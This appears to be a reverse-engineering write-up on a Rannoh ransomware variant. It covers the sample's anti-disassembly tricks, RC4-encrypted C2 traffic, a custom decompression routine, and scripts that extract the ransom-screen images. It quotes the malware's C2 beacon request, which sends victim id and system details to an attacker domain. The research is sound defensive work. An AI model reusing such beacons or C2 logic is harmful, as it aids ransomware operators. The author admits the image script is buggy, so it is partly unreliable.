Someone sent me a new version of the “Rannoh” ransomware. I’ve been told that this sample does not use a CAB file to store the ransom pictures but instead it uses a custom compression algorithm (it may already be known but I could not identify it). Beside this difference, the crypto used for the network communication is the same one used in the sample we previously analyzed. It looks like they have changed their encryption strategy and now use RSA.
Sample md5
Unpack version md5
This sample uses some new tricks to make its injection easier and to slow down the static analysis.
As you can see, IDA fails on this part:
So to have a correct code, we have to unset the instruction after the retn
In my .idb, I patch the “jb” instruction to “jmp” in order to jump to the good part (is not mandatory)
We get the network pcap file and the interesting part lies in the first request with the “ppc” command.
GET /una/SF6344-GWXS-WEQOZ6.php?ltype=lk&id=XXXXX09B4CXXXXX53344&ver=02.052&win=Windows_XP_(32_bit)&loc=0x0407&cmd=pcc HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)
Host: 397110121001i83455512377.com
Connection: Keep-Alive
Cache-Control: no-cache
We managed to recover the data and decrypt it using RC4. The key used to decrypt is the value within the “id” parameter (XXXXX09B4CXXXXX53344 in this case).
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Cipher import ARC4
from Crypto.Hash import MD5
import sys
if __name__ == "__main__":
key = sys.argv[1]
data = open(sys.argv[2]).read()
salt = "QQasd123zxc"
key_hash = MD5.new(key + salt).digest()
rc4 = ARC4.new(key_hash)
sys.stdout.write(rc4.decrypt(data))
./rc4.py XXXXX09B4CXXXXX53344 SF6344-GWXS-WEQOZ6.p.867766A9.html | hd | head
00000000 49 4d 41 47 45 53 3a 4b 37 ff 84 be 62 a6 98 79 |IMAGES:K7...b..y|
00000010 f9 8c e5 0f fe a5 24 4c 5a 57 21 53 75 03 00 9d |......$LZW!Su...|
00000020 de ea 7b 80 00 20 2d aa b2 00 01 1c 14 40 4e 4f |..{.. -......@NO|
As for the previous variant, we have the “IMAGES” command followed by the MD5 hash. We removed the first 24 characters and retrieved the content.
tail -c+24 decrypt.out | hd | head
00000000 4c 5a 57 21 53 75 03 00 9d de ea 7b 80 00 20 2d |LZW!Su....... -|
00000010 aa b2 00 01 1c 14 40 4e 4f 08 08 50 69 01 f0 84 |......@NO..Pi...|
00000020 62 29 1c 89 46 a3 01 50 50 20 02 00 8f fb 01 fe |b)..F..PP ......|
00000030 40 1a 20 10 96 89 26 92 c9 f0 80 48 00 1e 49 a6 |@. ...&....H..I.|
00000040 d2 c9 ff 06 7f d6 6f f6 1a fd 86 3f 51 9b 23 e4 |......o....?Q.#.|
00000050 33 fb 0d fe 83 6e 5f d0 6f ca fa 0d 9e 83 2b a0 |3....n_.o.....+.|
00000060 db 61 94 08 e9 58 04 61 98 1a 02 05 02 41 40 d0 |.a...X.a.....A@.|
...
tail -c+24 decrypt.out > decrypt.out.1
file decrypt.out.1
decrypt.out.1: MS-DOS executable (built-in)
As I noticed the “LZW” string I thought that the LZW algorithm was used but after trying different codes and tools (with different offsets) nothing worked. ( note that file command failed )
So I unpacked the sample and fired-up IDA to find the function in charge of the decompression.
This part looked interesting since the function checks if the cmd is IMAGES and does some processing on it.
The function GetDecompressedLen (40E692h) checks the tag LZW! and reads a DWORD after that, this is the final len.
To produce a code to decompress data I have exported the ASM code from IDA and extracted the function. It may also be possible to directly rip the code and use it as a shellcode (but it should be patched before, …). After a few modifications the code can we compiled with yasm (and forcing the tasm syntax).
Code available here
After decompressing the data, it backups the encrypted file and call the function InitImageStruct (40A4FFh).
This function is in charge to:
hd decrypt.out.1.dec | head
00000000 01 00 00 00 b6 d5 02 00 71 28 00 00 9c 1e 00 00 |........q(......|
00000010 50 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |PX..............|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000040 0a 05 01 08 00 00 00 00 ff 03 ff 02 2c 01 2c 01 |............,.,.|
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
The pattern:
------------ ------------ ----------------------
**Offset** **Value** **Comment**
0x01 0x000001 match dwImgAvailable
0x04 0x0002d5b6 len of picture 1
0x08 0x00002871 len of picture 2
0x0b 0x00001e9c len of picture 3
0x0f 0x00005850 len of picture 4
0x40 data of picture 1
0x40+0x0002d5b6 data of picture 2
...
----------------- -- -------------------
If we search for a reference to one of these pointers, we found this interesting function PaintImg (40C4CAh) which is in charge of loading the picture and display it on the screen
As you can see, it uses the win GDI function to get a hDC and call the function LoadImgInHdc (40CD75h). This function is in charge of re-building the picture by setting pixels one by one using the function SetPixel.
The function follows this prototype:
int LoadImgInHdc(HDC hdc, char *picture, int picture_len, int, int, int);
As before, I decide to export the asm and compile it directly with yasm.
and the output
wine extract_pic.exe decrypt.out.1
final size 226643
save image_0.bmp (768x1024)
save image_1.bmp (120x400)
save image_2.bmp (120x400)
save image_3.bmp (1x1878)
Code available
Image 1:
Image 2:
Image 3:
I finally re-write the extract_img in python. It do not manage the decompression part and failed on the last image due to a litle bug and do not have time to fix it.
Output:
./python extract_pic.py decrypt.out.1.dec
extract image_1.png
extract image_2.png
extract image_3.png
failed to extract image_4.png
The source code:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from PIL import Image, ImageDraw
from struct import pack, unpack
def DWORD(data, offset):
return unpack('<I', data[offset:offset+4])[0]
def WORD(data, offset):
return unpack('<H', data[offset:offset+2])[0]
def reconstruct_img(data):
length = len(data) - 1 # do not know why
# palette start at length - palette_len
palette_len = 0x301
# format check??
if ord(data[2]) != 1 or ord(data[3]) != 8 or ord(data[65]) != 1:
return None
if length < palette_len:
return None
height = WORD(data, 0xa) + 1 # do not why
#width = WORD(data, 0x8) + 1 # same value in two place?
width = WORD(data, 0x42)
palette_offset = length - palette_len
# secure check??
a = ord(data[palette_offset])
if a != 12 and a != 10:
return None
img = Image.new('RGB', (width, height))
pixels = img.load()
cur_offset = 128
X = Y = 0
while cur_offset < palette_offset:
index_color_offset = cur_offset
i = ord(data[cur_offset])
if i >= 0xC0:
i = i & 0x3f
cur_offset += 2
index_color_offset += 1
else:
cur_offset += 1
i = 1
index_color_offset = ord(data[index_color_offset])
color = DWORD(data, palette_offset + 1 + (index_color_offset*3)) & 0xFFFFFF
while i:
if X == width:
X = 0
Y += 1
#print "%d,%d = %08x" % (X, Y, color)
pixels[X,Y] = color
X += 1
i -= 1
return img
if __name__ == "__main__":
fp = open(sys.argv[1])
i = 4
a_lens = fp.read(0x40)
while i < 0x40:
length = DWORD(a_lens, i)
if length == 0:
break
filename = "image_%d.png" % (i/4)
i += 4
data = fp.read(length+1)
fp.seek(-1, 1)
img = reconstruct_img(data)
if img == None:
print "failed to extract %s" % filename
continue
img.save(filename, "png")
print "extract %s" % filename
Is not very usefull but that was to keep in shape.